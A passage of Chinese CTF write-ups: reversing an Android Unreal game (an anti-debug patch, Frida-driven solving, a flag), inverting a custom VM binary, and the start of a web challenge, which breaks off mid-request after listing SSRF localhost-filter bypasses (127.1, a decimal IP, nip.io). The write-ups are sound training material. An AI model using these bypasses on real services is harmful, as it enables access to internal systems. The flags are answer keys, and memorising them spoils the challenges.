libUnreal.so 里 0x481C092 的四轮可逆变换写入 493 块头表。
把变换逆向逐块解出
x(共 3941 个格号),在原生 VM + WASM 上跑完,
由最终状态算出
key/iv,解密 0x869020 的 48 字节密文即得 flag。

关键数字:

3941 = 0xF65 = 492 × 8 + 5        # 前 492 块各 8 下,最后一块 5 下
493 块 × 21 dword = 0xA1C4 B      # 5 个头字段 + 8 对指令字段

1. 附件结构

千千的咲.apk
├─ lib/x86_64/libUnreal.so        100 MB,全部游戏逻辑静态链进引擎
├─ lib/arm64-v8a/libUnreal.so     96 MB
└─ assets/main.obb.png            实际是 ZIP → UE IoStore + pak
      └─ CTFGame/Content/Data/p.bin        1424 B,加密的 WebAssembly
      └─ CTFGame/Content/JavaScript/puerts 运行时 JS(无游戏逻辑)
      └─ CTFGame/Content/UI/...            16 个 Cell 按钮 + 16 张 tile 贴图
  • main.obb.png 改后缀为 zip 即可解压,里面是 UE 的 pak/ucas/utoc。
  • 用 CUE4Parse(或自写 TOC 解析 + ooz Kraken 解压)可列出 1934 个文件,与题目相关的只有
    WBP_FlagPanel.uasset、Puzzle/tile_00..15、Data/p.bin。
  • 贴图与背景里没有 flag:16 块 256×256 拼起来是正常立绘,无文字、无 LSB。

2. p.bin → p.wasm

p.bin 头:

0x00  magic   8F 21 D6 B4
0x04  u32     明文长度 0x57E = 1406
0x08  8 B     CBC 初始向量
0x10  ...     密文(8 字节一块)

算法是 XTEA 解密 + CBC 链接:

  • key = qianqiandexiao99(16 B,运行时明文在 0x5863B0)
  • delta = 0x9E3779B9,32 轮,初始 sum = delta << 5
  • 每块解密后再与前一块密文异或,末尾 PKCS#7 去填充
k = struct.unpack("<4I", b"qianqiandexiao99")
# 6e616971 6e616971 69786564 39396f61

得到 1406 B 的 p.wasm(\0asm),wasm2wat 反汇编 526 行。

3. p.wasm 逻辑

导出:

导出

作用

b()

初始化 wasm 状态并 q(4988,0) 让原生 VM 初始化

a(i)

一次点击,返回 1 表示"整体完成"

c(i)

取第 i 个结果字节(要求已完成)

导入 e.q(sel, arg) -> i32,直接落到原生分发器 0x481C236。

a(i) 的调用序列(4 个 selector):

q(9325, i)        # 点击入口:校验状态/格号,返回 r2
q(18367, h1)      # 状态 2 → 3
q(22720, h2)      # 状态 3 → 4(原生状态机执行块表指令)
q(27089, h3)      # 状态 4 → 0,返回 (read(9) == 0xF65)

wasm 内部有 6 个 32 位状态字 m[1040..1064],初值是 π 常量:

0x243F6A88 0x85A308D3 0x13198A2E 0x03707344 0xA4093822 0

三个摘要(先取旧值,再更新状态,用旧值算摘要):

h1 = mix(r2 ^ m5 ^ m4 ^ m0 ^ rol(m2,13))
h2 = mix(rol(m3,17) + m1 + rol(r2, (m5 & 15) + 3))
h3 = mix(m0' ^ rol(m1',7) ^ rol(m2',13) ^ m3' ^ m4' ^ m5')

c(i) = q(13742, i) ^ mask_i,mask_i 由当前状态字与 i 决定(wasm 内联即可,不必展开)。

4. libUnreal.so:混淆、反调试、速查表

4.1 字符串 XOR 0xA7

类名/函数名在文件里是乱码(ASCII 与 UTF-16LE 都逐字节 XOR 0xA7),运行时原地解密。
解出后可见:
FlagPanelWidget、PuzzleScriptHost、IsComplete、SubmitCell、Data/p.bin、qianqiandexiao99。

4.2 反调试

  • 检测函数 0x481A30D:读 /proc/self/maps 找 frida-agent/gadget、查 TracerPid;
  • 看门狗 0x481FF76 周期调用它,命中即 exit();
  • 补丁:首 3 字节改 31 C0 C3(xor eax,eax; ret),文件偏移 0x481630D。

4.3 地址速查(vaddr;文件偏移 = vaddr − 0x4000,数据段为恒等映射)

地址

含义

0x481A30D

反调试检测

0x481AEE0 / 0x481AF3C

VM 构造 / 初始化

0x481B026 / 0x481B056

read(field) / write(field, val)

0x481B182

A[i] ^ B[i](字节)

0x481B202

点击提交:算 nonce、更新引擎哈希、写 f13..f17

0x481B2EE

块解密密钥 V 的计算

0x481B904

点击状态机(块表指令解释器)

0x481C236

q 分发器

0x481C092

四轮可逆变换 T

0x869020

flag 密文(48 B)

0x869150

493 块点击表(每块 0x54 = 84 B = 21 dword)

0x873320

16 项常量表

5. 原生 VM

5.1 字段布局

  • read(i) = vm[i*8+8] ^ vm[i*8+0xC];write 带链式混淆,但 read 恒等于写入值。
  • 重要字段:
  • f08 当前块号(初始 0x1BC = 444,不是 0!)
  • f09 点击计数(到 0xF65 即完成)
  • f0A 块内步号(0..7)
  • f0B/f0C 滚动状态;f0D..f12 块头解码结果
  • f13..f16 本次点击的 nonce;f17 点击格号;f18 状态机状态
  • f00..f07 最近 8 次点击的滚动哈希(环形缓冲)

5.2 每次点击的原生流程(0x481B202)

nonce_k  = SHA256(0x03 ‖ engine[32] ‖ u64(k))[0:16]      # 0x481AD54
engine   = SHA256(0x01 ‖ engine[32] ‖ u64(k) ‖ cell)     # 0x481AC88,counter++
f13..f16 = nonce_k
f17 = cell; f18 = 1

engine 就是 32 字节的点击哈希链,最终 key 的熵全部来自这里。
注意:
nonce 在更新 engine 之前算,与本次点哪一格无关——这点后面做探针时很关键。

5.3 算子

mix(x):  x ^= x>>16; x *= 0x7FEB352D; x ^= x>>15; x *= 0x846CA68B; x ^= x>>16
add(a,b): (a ^ b) + 2*(a & b)
const[i]: ((i * 0x3C6EF372 + 0x6A09E667) ^ TABLE16[i])   # TABLE16 @ 0x873320

常量表:c151a4c7 7feb352d 846ca68b 9e3779b9 735a2d97 a511e9b3 41c6ce57 6d2b79f5 ...

5.4 块表与块头解密

每块 21 dword:+0x00..+0x10 是 5 个头字段,+0x14..+0x50 是 8 对指令字段。
进入块时用
V 解头:

V         = vm_fn_0x481B2EE(vm)           # 依赖 f08/f09/环缓冲/f0B/f0C/f13..f16/f19/f1a/f1c
f051(X,i) = mix(X ^ ((i+1) * 0x9E3779B9) ^ 0xA511E9B3)
header[i] = table[block*21 + i] ^ f051(V, i)      # i = 0..4

5.5 四轮变换(核心)

def T(x, a, b, c):
    for i in range(4):
        t = mix(a ^ c ^ (0x9E3779B9 * i))
        x = rol((x ^ t) + rol(b, 3 + 5*i) + c, 5 + 6*i)
        x = (x * (mix(b + i) | 1)) & 0xFFFFFFFF
    return x

其中 a = header[1]、b = header[2]、c = V,header[0] 是目标值。
乘数
mix(b+i)|1 恒为奇数,模 2³² 必有逆元,所以四轮都能倒着走:

def Tinv(y, a, b, c):
    for i in reversed(range(4)):
        t = mix(a ^ c ^ (0x9E3779B9 * i))
        x = (y * pow(mix(b + i) | 1, -1, 1 << 32)) & 0xFFFFFFFF
        x = ror(x, 5 + 6*i)
        x = (x - rol(b, 3 + 5*i) - c) & 0xFFFFFFFF
        y = x ^ t
    return y

5.6 第一块实测(校验点)

block  = 444 (0x1BC)
V      = 0x6FEF75EB
header = A0D88FB7 9C1AB9CA D2AB1B9D 00000011 0000009F
Tinv   → x = 0xDB5A14A5

0xDB5A14A5 按低→高拆半字节:5, A, 4, 1, A, 5, B, D
→ 前 8 下点击
5, 10, 4, 1, 10, 5, 11, 13 ✔

6. 求解:为什么必须"边跑边解"

  • 块号不是顺序的:每块 8 步结束时 f08 = (f11 或 f12) % 501,是数据驱动的链表;
  • 块头解密密钥 V 依赖本次点击产生的 f19/f1a/f1c(即 wasm 算出的摘要);
  • 因此纯静态读表不够,必须让原生 VM + 真 WASM 一起跑。

做法(frida 在游戏进程里 Memory.alloc 一个全新 VM/engine,wasmtime 加载 p.wasm,e.q 桥接原生):

seq = []
while len(seq) < 3941:
    blk = rd(8) & 0xFFFFFFFF
    n   = min(8, 3941 - len(seq))

    # —— 探针:只为拿 V ——
    snap = E.snap()
    E.submit(0)                       # nonce 与格子无关,随便点
    r2 = E.q(0x246D, 0) & 0xFFFFFFFF
    h1, h2 = h1h2(wasm_mem[1040:1064], r2)
    E.wr(0x19, h1); E.wr(0x1A, h2)    # V 依赖 f19/f1a,必须写回
    V = E.v() & 0xFFFFFFFF
    E.restore(snap)

    # —— 解块 ——
    hdr = [(TBL[blk][i] ^ f051(V, i)) & 0xFFFFFFFF for i in range(5)]
    x   = Tinv(hdr[0], hdr[1], hdr[2], V)
    cells = [(x >> (4*k)) & 0xF for k in range(n)]

    # —— 真跑这 8 下 ——
    for c in cells:
        E.submit(c)
        wasm_a(c)                     # 真 WASM,q 转发给原生
    seq += cells

跑完 f09 = 3941、f18 = 0。完整序列见 sequence.json / clicks.json。

7. 终局:KDF 与解密

7.1 key / iv

完成态取 c(0..31) 与 engine 32 字节终态 S:

digest = SHA256(0x02 ‖ S[32] ‖ u64(3941) ‖ c[32])     # 0x481AE08,73 字节
key    = digest[0:16]
iv     = digest[16:32]

实测:

S   = f61e17d714b7f19b9c733cb5b178ed74f168f197f5575e862c926bee20c90628
c   = 04 e6 e9 fa 5e 20 e4 b2 1b 82 51 1f 1d d9 d8 5e
      34 df 2e a0 90 c3 12 55 8c ee fe 4f f5 66 d5 06
key = edf0907855a7dbcc5cb49787776133cd
iv  = 9a442b32986c690af07213508ae6c5ee

(iv 恰好是同一个 digest 的后 16 字节。)

7.2 密文与校验

0x869020, 48 B:
175a6359a5624705 e5c963e137af2a75
0dee0750ebfca5d8 2d9efaa5df79d066
2cdc50c416c89f78 9ca76729ce40840e

解密后 34 字节,再做 FNV-1a-64:

FNV1a64(plain[:34]) == 0xD59091F3EE56F409

⚠️ 实测提醒:二进制里虽有标准 S-box / 逆 S-box(0x6DAD40 / 0x6DBE40),
但
没有 Rcon 表,密钥扩展是改写过的;直接用 pycryptodome 的 AES-128-CBC(key, iv)
解这 48 字节
得不到正确明文。稳妥做法是调用/重放原生 0x4819EC0
(内部:
0x48198A5 密钥扩展 → 0x48199E9 解密 → 0x4819EC0 FNV 校验)。

7.3 Flag

flag{WuTher1ng_Waves_ch1Sak1_6666}

8. 复现清单

  1. 解 main.obb.png(ZIP)→ IoStore/pak → CTFGame/Content/Data/p.bin;
  2. XTEA-CBC(key qianqiandexiao99)→ p.wasm;
  3. 打补丁:libUnreal.so 文件偏移 0x481630D 写 31 C0 C3,推回设备;
  4. MuMu(GLES 3.2)起游戏,frida-server attach;
  5. 跑 §6 脚本 → 3941 个格号;
  6. 完成态取 S 与 c(0..31) → key/iv;
  7. 调原生 0x4819EC0 解密 + FNV 校验 → flag。

依赖:frida、wasmtime、pyelftools、capstone。

9. 踩坑记录

  1. "游戏不校验"不等于"序列随便":任意 3941 下都能走到完成态,但 key 由点击序列唯一决定,
    序列错了 AES 解出来就是垃圾,只有 FNV 能判真伪。
  2. f13..f16 是 nonce:SHA256(0x03‖engine‖counter),与"点哪一格"无关。
  3. 探针必须写 f19/f1a 再读 V:否则块头解错,会得到"自洽但错误"的序列。
  4. 别用标准 AES 库硬解:本题 AES 是改写过的(缺 Rcon),必须走原生例程。
  5. 第一块不是 block 0,而是 f08 = 0x1BC = 444。

VVMM Writeup

题目:VVMM
附件:
VVMM.zip → VVMM.exe(PE32+ x86-64,47,616 字节,SHA-256 88722C97…1BE2B5B)
题面:一层难后一重关,恢复 VM 找到藏在其中最美丽的姑娘
结果:
flag{J1nxI_i5_4_6eautiful_g1rl}

0. TL;DR

附件是一个自带反汇编器/调试报告的自定义寄存器虚拟机(VMC2)。VM 程序对 31 字节输入做
8 轮逐字节 ARX + 非线性代换,最后把 31 字节内存与常量逐一比较。

关键不在爆破,而在三件事:

  1. 从执行器里抠出精确语义——内存是字节数组、ROLI/RORI 只转低 8 位、STAGE 是个带
    murmur 哈希的 8 位代换、内存初值不是 0 而是固定模式;
  2. 确认每轮每个字节在已知相邻字节时是双射,可以从 31 个比较常量逐轮反推;
  3. 写一个和原程序逐位对齐的模拟器,用 --run 的 acc/pc/steps 做差分验证,再逐轮求逆。

最终 31 字节全部可打印,--check 返回 accepted。

1. 初步观察

> VVMM.exe --layout
vm container  : VMC2 / multi-entry encrypted bytecode
vm blob bytes : 20016
entries       : 2
program bytes : 19696
instructions  : 2462
registers     : 8 x u32
memory        : 128 bytes
rounds        : 7 global rounds

> VVMM.exe --help
  %s                         launch the VM console
  %s --shell                 launch the VM console
  %s --check <candidate>     verify one candidate
  %s --run <candidate>       execute the VM with a report
  %s --interactive           prompt for one candidate
  %s --disasm [count]        disassemble decoded bytecode
  %s --layout                print VM image information
  %s --bof                   enter the BOF laboratory mode

--check 对任意候选给 accepted / rejected;--run 额外打印
steps / pc / acc / zero / halt,这组数字后来成了差分验证的金标准。

> VVMM.exe --check test
rejected
> VVMM.exe --run test
[vm] REJECT
[vm] steps=3 pc=0x4ce8 acc=0x00 zero=0 halt=0xf1

steps=3 说明 test 只跑了前 3 条指令:MAGIC、LEN、JNZ——长度检查在 0x1f(31)。
换成 31 个
A:

> VVMM.exe --run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[vm] REJECT
[vm] steps=2370 pc=0x4ce8 acc=0x50 zero=0 halt=0xf1

跑到第 2370 步才在第一条比较处失败,说明主体逻辑是一条直路(无循环),失败下标可由
steps 反推。

--disasm 直接吐出完整字节码:

[vm] decoded instructions: 2462/2462
0000  MAGIC  r0 r0 00  imm=0xc0def00d
0008  LEN    r0 r0 00  imm=0x0000001f
0010  JNZ    r0 r0 00  imm=0x0000099a  target=0x4ce8
0018  LDB    r0 r0 00  imm=0x00000000  index=0
0020  XORI   r0 r0 00  imm=0x000000fb
0028  ADDI   r0 r0 00  imm=0x0000006a
0030  ROLI   r0 r0 00  imm=0x00000004
0038  STAGE  r0 r0 00  imm=0x00000000
0040  STM    r0 r0 00  imm=0x00000000  index=0
...
4a00  LDM    r0 r0 00  imm=0x00000000  index=0
4a08  CMPI8  r0 r0 00  imm=0x000000fd
4a10  JNZ    r0 r0 00  imm=0x0000005b  target=0x4ce8
...
4cc8  LDM    r0 r0 00  imm=0x0000001e  index=30
4cd0  CMPI8  r0 r0 00  imm=0x0000002a
4cd8  JNZ    r0 r0 00  imm=0x00000001  target=0x4ce8
4ce0  OK     r0 r0 00  imm=0x00000000
4ce8  FAIL   r0 r0 00  imm=0x00000000

指令统计:

助记符

条数

助记符

条数

LDM

682

ADDR

217

ADDI

248

XORR

217

ROLI

248

MOVI

75

STAGE

248

XORI

62

STM

248

NOP/RORI

44 / 44

JNZ

32

MULI

31

CMPI8

31

LDB

31

248 = 8 × 31、217 = 7 × 31、LDB = 31 已经把结构点明了:1 段读入 + 7 轮混合,每轮 31 字节。

2. 定位 VM 执行器

原生代码去符号,但可以用字符串交叉引用定位关键函数(objdump -d -M intel):

地址

作用

0x140002860

--bof 实验室

0x140002940

VMC2 容器解码(密文 → 栈上指令流)

0x140002db0

--disasm 反汇编器(跳表 0x1400068a4,opcode → 名称)

0x140003480

VM 执行器(跳表 0x140006580,opcode → handler)

0x140002c20

--check/--run 包装:调用执行器并打印报告

执行器入口的指令循环(简化):

1400034e8  lea  rcx,[rbp+0x90]     ; 解码目标缓冲
1400034ef  mov  rsi,rdx            ; rsi = 候选串长度(见下)
1400034f2  mov  rdi,r8             ; rdi = 结果结构体
1400034f5  call 0x140002940        ; 解出 8 字节定长指令流
...
140003720  mov  rax,r11
140003723  add  r10,1              ; steps++
14000372a  mov  [rbp+0x80],r10
14000372e  ...
140003737  movzx eax,BYTE PTR [rbp+r9+0x90]   ; opcode = code[pc]
140003740  cmp  al,0x51
140003742  ja   0x1400039a5                   ; >0x51:OK(0xF0)/FAIL(0xF1)
140003748  movsxd rax,DWORD PTR [r8+rax*4]    ; 相对偏移跳表
14000374c  mov  ecx,DWORD PTR [rbp+r9+0x94]   ; imm32
140003754  movzx edx,BYTE PTR [rbp+r9+0x91]   ; rd
14000375d  movzx r12d,BYTE PTR [rbp+r9+0x92]  ; rs
140003766  add  rax,r8
140003769  and  edx,7
14000376c  and  r12d,7
140003770  jmp  rax

指令格式:opcode(1) | rd(1) | rs(1) | 保留(1) | imm32(4),共 8 字节。
pc 就是指令流字节偏移,r9 += 8 前进;JNZ/JMP 的 imm 是指令条数偏移:
target = pc + 8 + imm*8。

结果结构体(rdi):

偏移

字段

+0x00

指令流总字节数

+0x08

指令条数

+0x10

steps

+0x18

pc

+0x20

acc = regs[0] & 0xff

+0x21

zero(最近一次比较是否相等)

+0x22

halt(正常 0,非法/失败 0xf1,OK 0xf0)

acc 恰好是「停机瞬间 regs[0] 的低字节」,这让它成为一个极强的差分 oracle。

3. 精确 ISA(从 handler 读出来的,不是猜的)

寄存器 regs[8] 为 u32([rbp-0x40 + 4*idx]);内存 mem[128] 是字节数组
(
[rbp-0x20 + idx],下标 imm & 0x7f)。

opcode

名称

语义

0x00

NOP

前进

0x01

MAGIC

前进(容器头校验在解码阶段,cmp [blob+4],0xc0def00d)

0x10

LEN

zero = (imm == strlen(candidate))

0x11

LDB

regs[rd] = (imm < len) ? candidate[imm] : 0

0x12

LDM

regs[rd] = mem[imm & 0x7f](零扩展)

0x13

STM

mem[imm & 0x7f] = regs[rd] & 0xff(截断成字节)

0x20

MOVI

regs[rd] = imm

0x21

XORI

regs[rd] ^= imm

0x22

ADDI

regs[rd] += imm

0x23

MULI

regs[rd] *= imm(32 位模乘)

0x24

ROLI

regs[rd] = (regs[rd] & ~0xff) | rol8(regs[rd] & 0xff, imm)

0x25

RORI

同上,方向为右

0x26

XORR

regs[rd] ^= regs[rs]

0x27

ADDR

regs[rd] += regs[rs]

0x30

STAGE

8 位代换(见 §3.2)

0x40

CMPI8

zero = ((u8)regs[rd] == (u8)imm)

0x41

CMPI32

zero = (regs[rd] == imm)

0x50

JNZ

zero == 0 时跳到 pc+8+imm*8(即“不等则跳”)

0x51

JMP

无条件跳

0xF0

OK

停机,返回 ACCEPT(halt=0xf0)

0xF1

FAIL

停机,返回 REJECT(halt=0xf1)

两个最容易踩坑的点:

; ROLI/RORI:只旋转低 8 位,高 24 位保留
14000395e  mov  r12d,[rbp+rdx*4-0x40]
140003966  mov  eax,r12d
140003969  rol  al,cl               ; 8 位旋转
14000396b  jmp  0x14000377f
14000377f  mov  ecx,r12d
140003782  movzx eax,al
140003785  xor  cl,cl               ; 清掉低字节
140003787  or   eax,ecx             ; 拼回高 24 位
; STM:只存低字节;LDM:按字节读
1400038a5  mov  eax,[rbp+rdx*4-0x40]
1400038a9  mov  BYTE PTR [rbp+rcx*1-0x20],al
1400038bc  movzx eax,BYTE PTR [rbp+rcx*1-0x20]

3.1 LEN / LDB 的长度来自哪里

执行器调用约定是 execute(candidate, strlen(candidate), &result)(包装函数先求长度再传入),
所以
rsi 在 LEN/LDB 里就是候选串长度:

140003853  cmp  rcx,rsi
140003856  sete BYTE PTR [rbp+0x60]     ; LEN
1400038cc  cmp  rcx,rsi                 ; LDB
1400038cf  jae  0x1400038d5
1400038d1  movzx eax,BYTE PTR [rbx+rcx*1]

3.2 STAGE:藏在“登记/审计”外衣下的 8 位代换

STAGE 的 handler(0x1400038e5)会调用 0x140002d10(imm, (u8)regs[rd]) 并把返回值写回
regs[rd]。0x140002ce0 是一个 murmur3 finalizer 风格的哈希:

static uint32_t H(uint32_t imm) {
    uint32_t e = 0xa5u + 0x6d2b79f5u;      /* = 0x6d2b829a */
    e ^= imm * 0x9e3779b9u;
    e ^= e >> 16;
    e *= 0x85ebca6bu;
    e ^= e >> 13;
    e *= 0xc2b2ae35u;
    e ^= e >> 16;
    return e;
}

static uint8_t stage_op(uint32_t imm, uint8_t b) {
    uint32_t h  = H(imm);
    uint32_t cl = 3u * imm + 1u;

    uint32_t t  = (uint32_t)b ^ h;                  /* 32 位 */
    uint8_t  lo = rol8(t & 0xff, cl);               /* 只转低字节 */
    t = (t & 0xffffff00u) | lo;

    uint32_t eax = t + 0x31u * imm + 0x42u;
    uint32_t edx = (h & 0xffffff00u) | ((h & 0xffu) >> 1);
    return (uint8_t)(eax ^ edx);
}

对固定 imm,这是 256 个字节上的双射(异或常量、8 位循环移位、加常量、再异或常量)。
它对每个位置给出一张不同的 S-box,所以不能当成线性变换整体求逆,必须按 S-box 反查。

3.3 内存初值不是 0

执行器先把 128 字节清零,随后在 0x1400035f0 用 SIMD 循环把整块内存重写成固定模式:

x → 3x(两次 paddb)→ 48x(四次自加)→ 49x
+0x17
^0xa5

即

for (int j = 0; j < 128; j++)
    mem[j] = (uint8_t)(((49*j + 0x17) & 0xff) ^ 0xa5);

这是第一版模拟器对不上的根因:mem[31..127] 从不被 STM 写,一直是这个模式;
而后续轮次会读到
mem[31..37](i+7 越界)。

4. 程序结构

4.1 第 1 段:逐字节装载/置换(stage 0x00–0x1E)

每个字节 i:

reg = input[i]
reg ^= k1[i]
reg += k2[i]
reg  = rol8(reg, k3[i])
reg  = stage_op(i, reg)
mem[i] = reg

k1/k2/k3 常量表(31 行,来自 disasm_full.txt):

i

k1

k2

k3

i

k1

k2

k3

0

fb

6a

4

16

db

da

4

1

b7

94

1

17

97

64

1

2

53

c4

6

18

33

f4

6

3

2f

fa

3

19

6f

8a

3

4

fb

36

8

20

9b

26

8

5

af

78

5

21

ef

c8

5

6

e3

c0

2

22

23

70

2

7

27

0e

7

23

67

1e

7

8

6b

62

4

24

ab

d2

4

9

97

bc

1

25

77

8c

1

10

d3

1c

6

26

33

4c

6

11

3f

82

3

27

df

12

3

12

8b

ee

8

28

8b

de

8

13

5f

60

5

29

7f

b0

5

14

03

d8

2

30

43

88

2

15

07

56

7





4.2 第 2–8 轮:31 字节就地 ARX 混合

第 r 轮(r = 2..8)对 i = 0..30 按 i 递增就地写回:

a = mem[i];                 /* 本轮尚未更新 */
b = (i + 1 <= 30) ? mem[i+1] : mem[31];      /* 尚未更新 */
c = (i + 7 <= 30) ? mem[i+7] : mem[31 + (i+7-31)];  /* 尚未更新 */

t     = (uint32_t)(a + b) ^ c;              /* 低字节:(a+b) ^ (c&0xff) */
t     = rol8(t & 0xff, rot[r][i]);          /* 只关心低字节 */
s     = stage_op(base[r] + i, t);
mem[i] = (uint8_t)(s + add[r][i]);

参数规律(每轮 31 个块一致):

轮

STAGE base

加常量起点

旋转序列(i=0..7)

2

0x40

0x5a

2 7 4 1 6 3 8 5

3

0x5f

0x8d

5 2 7 4 1 6 3 8

4

0x7e

0xc0

8 5 2 7 4 1 6 3

5

0x9d

0xf3

3 8 5 2 7 4 1 6

6

0xbc

0x26

6 3 8 5 2 7 4 1

7

0xdb

0x59

1 6 3 8 5 2 7 4

8

0xfa

0x8c

4 1 6 3 8 5 2 7

  • 旋转序列以 8 为周期:i 每 +1 加 5(模 8,0 记作 8);轮间起点按 +3 递推。
  • 加常量:add[r][i] = (0x5a + (r-2)*0x33 + i*0x11) & 0xff(轮 2 起点 0x5a,逐字节 +0x11)。

STM 只保留低字节,所以每轮输出完全由 31 个字节决定;mem[31..127] 是 §3.3 的固定模式,
只作为只读常量参与。

4.3 尾部:31 字节逐一比较

LDM i; CMPI8 const[i]; JNZ -> FAIL     (i = 0..30)
OK

目标字节(mem[0..30]):

fd bd 28 ce b1 91 f6 39 d7 e5 31 8e 96 d7 02 15
f0 9b 38 bd e7 cd c7 ab 89 a3 3c 29 b7 18 2a

4.4 干扰代码

第 1 段每个 STM 后面还跟着一组 MOVI r1, 0x13579bdf+…; MULI r1, 0x045d9f3b; XORI r1, 0xc001d0xx,
第 2–8 轮偶尔插入
NOP / MOVI r2, 0x9e3779b9 / RORI r2, 0。这些写的是 r1/r2,后续块一律用
LDM 重新赋值,属于纯死代码(对应 [audit] checkpoint= 的装饰),不影响语义——但会干扰
手工阅读和按指令数定位。

5. 求解:逐轮求逆

5.1 可逆性

  • 第 1 段:每个字节独立,xor / add / rol8 / stage 全是双射;
  • 第 2–8 轮:块 i 只读 mem[i]、mem[i+1]、mem[i+7]。由于按下标递增就地写回,
    下标
    > i 的读取一定发生在它们被更新之前,即读到的是本轮输入值;下标 < i 的读取会
    读到本轮已更新的值(等于目标状态
    out[j],已知)。

因此固定其它字节时,块 i 的映射 mem[i] -> out[i] 是 256 个字节上的双射,可以唯一反解。

5.2 反解步骤

  1. 令 state = 目标常量[0..30];
  2. 对轮 r = 8 → 2,轮内 i = 30 → 0:
  • 已知 b = mem[i+1]、c = mem[i+7](更大下标已反推完;越界取模式常量);
  • 对 v = 0..255 令 mem[i] = v,执行该块指令,命中 out[i] 的 v 即解;
  1. 得到第 1 段之后的 31 字节状态,再逐字节反解第 1 段的 input[i];
  2. 用模拟器正向跑一遍自检,--check 接受即闭环。

5.3 求解脚本(核心部分)

完整实现见同目录 vm2.py(模拟器)与 invert.py(求逆),核心逻辑:

# 每轮 31 块,块 i 的指令区间: (上一条 STM 之后, 本条 STM)
stms = [(idx, ins['imm'] & 0x7f) for idx, ins in enumerate(INS) if ins['mn'] == 'STM']
# 每 31 条 STM 组成一轮,索引恰为 0..30

def invert_round(r, out_state):
    pre = [None] * 31
    for bi in range(30, -1, -1):
        lo, hi = block_range(r, bi)

        def memget(j):
            if j >= 31:      return PATTERN[j]      # 固定内存模式
            if j <  bi:      return out_state[j]    # 本轮已写回
            if j >  bi:      return pre[j]          # 本轮尚未写回
            return pre[bi]

        cand = [v for v in range(256)
                if exec_block(lo, hi, memget_with(v)) == out_state[bi]]
        assert len(cand) == 1
        pre[bi] = cand[0]
    return pre

state = TARGET[:]
for r in range(7, 0, -1):          # 第 8..2 轮
    state = invert_round(r, state)
inp = invert_round1(state)         # 第 1 段

运行结果:

$ python solve.py
flag = flag{J1nxI_i5_4_6eautiful_g1rl}
status = ACCEPT | steps = 2461

6. 验证

6.1 模拟器 vs 原程序(差分)

对 6 个随机 31 字节串比较 steps/pc/acc/zero,全部一致:

MATCH  4oalekmTEcdcS97tlxob}_Fi7il!fIi  exe (2370, 19688, 98, 0, 241)
MATCH  M9TIFz6#c!jaQs8Wvgj{ujBsdSo#sN6  exe (2370, 19688, 202, 0, 241)
MATCH  f1JfwItMt7fXS{R78f8v4@4LJpx13p#  exe (2370, 19688, 38, 0, 241)
MATCH  n_WGySnuItP5jkYBgKeC}lON6iGj2zm  exe (2370, 19688, 254, 0, 241)
MATCH  Yy6}EUA!1wAMhTt{8QrqgvsiPvahlsB  exe (2370, 19688, 185, 0, 241)
MATCH  f3YPAWJM2OtlHJ0ZJ#oWJBMYgS4D_vW  exe (2370, 19688, 5, 0, 241)

acc 是停机瞬间 regs[0] 的低字节,能逐位对齐,等价于把 8 轮变换的中间状态也校准了。

6.2 逐轮快照对照

用同一个输入记录每轮结束(STM idx=30)时的 31 字节内存,再用求逆器从最终状态倒推,
第 8→2 轮逐轮与快照完全相等(
diag.py)。

6.3 原程序接受

> VVMM.exe --check "flag{J1nxI_i5_4_6eautiful_g1rl}"
accepted

> VVMM.exe --run "flag{J1nxI_i5_4_6eautiful_g1rl}"
[vm] ACCEPT
[vm] steps=2460 pc=0x4ce0 acc=0x2a zero=1 halt=0xf0

zero=1(31 条比较全等)、halt=0xf0(OK)、acc=0x2a(最后比较的目标值)。

7. 关于 --bof(第二关是干扰项)

--bof(0x140002860)是独立的小实验:

; 0x140002860
printf("[bof] send up to 512 bytes, then inspect the saved return address");
fread(buf /* rbp-0x30 */, 1, 0x200, stdin);   ; 512 字节读进 0x30 字节栈缓冲
sum = 0;
for (i = 0; i < min(n, 0x30); i++) sum ^= buf[i];
if (sum == 0x42) printf("[bof] checksum branch reached");
else             printf("[bof] normal return");
  • 校验和只覆盖前 ≤48 字节,48 字节异或 = 0x42 即可(如 47 个 \0 + 0x42);
  • 该分支只打印一行提示,不产生任何 flag 文本;
  • 溢出(>0x30 字节)会覆盖返回地址,但函数在返回前就打印完并 ret,没有 win 函数或
    隐藏字符串(
    .rdata 里除上表字符串外全是 VMC2 密文)。

所以题面的“一层难后一重关”更像是说 VM 内部的 8 轮关卡;最终结果就是 VM 接受的 31 字节。

8. 小结

  • 这个 VM 的“难”不在指令多,而在语义细节反直觉:字节内存、只转低字节的 rotate、
    带哈希的
    STAGE、非零内存初值;任何一处按“常规 VM”猜,都会得到一个能自洽却在原程序
    上 REJECT 的模拟器。
  • 结构是高度规则的 8×31 就地 ARX 网络,每轮每个字节对自身是双射,因此从末尾常量逐轮
    反推是线性工作量,不需要 SMT/爆破。
  • --run 的 steps/pc/acc/zero 是极好的验证信号:先用它把模拟器校到逐位一致,再求逆,
    最后用
    --check 闭环。

Flag:flag{J1nxI_i5_4_6eautiful_g1rl}

3. WEB:DataPulse

DataPulse 题目 Writeup

一、题目信息

  • 题目名称:DataPulse
  • 分类:WEB
  • 难度:HARD
  • 靶机:1.14.76.59:27575(实例多次重置,端口以实际分配为准)
  • 目标:DataPulse Analytics Platform v2.4.1

题目描述:DataPulse 是一家数据分析公司的内部任务调度平台,员工可以提交数据处理任务并通过 Webhook 接收分析结果通知。作为安全审计团队成员,对平台进行安全评估,找出隐藏的安全隐患。

最终 flag:

DASCTF{30433301935994253763448862053766}

二、功能侦察

访问首页,应用是一个数据分析任务平台,主要功能:

  • /register/、/login/:注册登录
  • /dashboard/:任务面板
  • /tasks/create/:创建分析任务(csv_analysis / statistics / aggregation)
  • /tasks/list/:任务列表
  • /tasks/<task_id>/:任务详情
  • /tasks/<task_id>/retry-webhook/:重发 Webhook,可自定义 URL
  • /tasks/<task_id>/webhook-logs/:Webhook 发送日志
  • /api/v1/status/:健康检查
  • /api/v1/export/:导出接口(实际为不可用的干扰项)

登录后创建任务时,webhook_url 可由用户完全控制,且 retry-webhook 接口支持传入任意 URL 并同步返回请求结果,这是典型的 SSRF 入口。

三、Webhook SSRF

3.1 URL 校验绕过

直接使用 http://127.0.0.1:PORT/ 会被拦截,日志显示:

{"error": "URL validation failed"}

但校验逻辑较粗糙,只对部分字符串做黑名单。以下地址可以通过校验:

  • http://127.1:PORT/
  • http://2130706433:PORT/(127.0.0.1 的十进制写法)
  • http://127.0.0.1.nip.io:PORT/

使用 retry-webhook 接口可以同步探测:

POST /tasks/<task_id>/retry-webhook/ HTTP/1.1
Content-Type: application/json

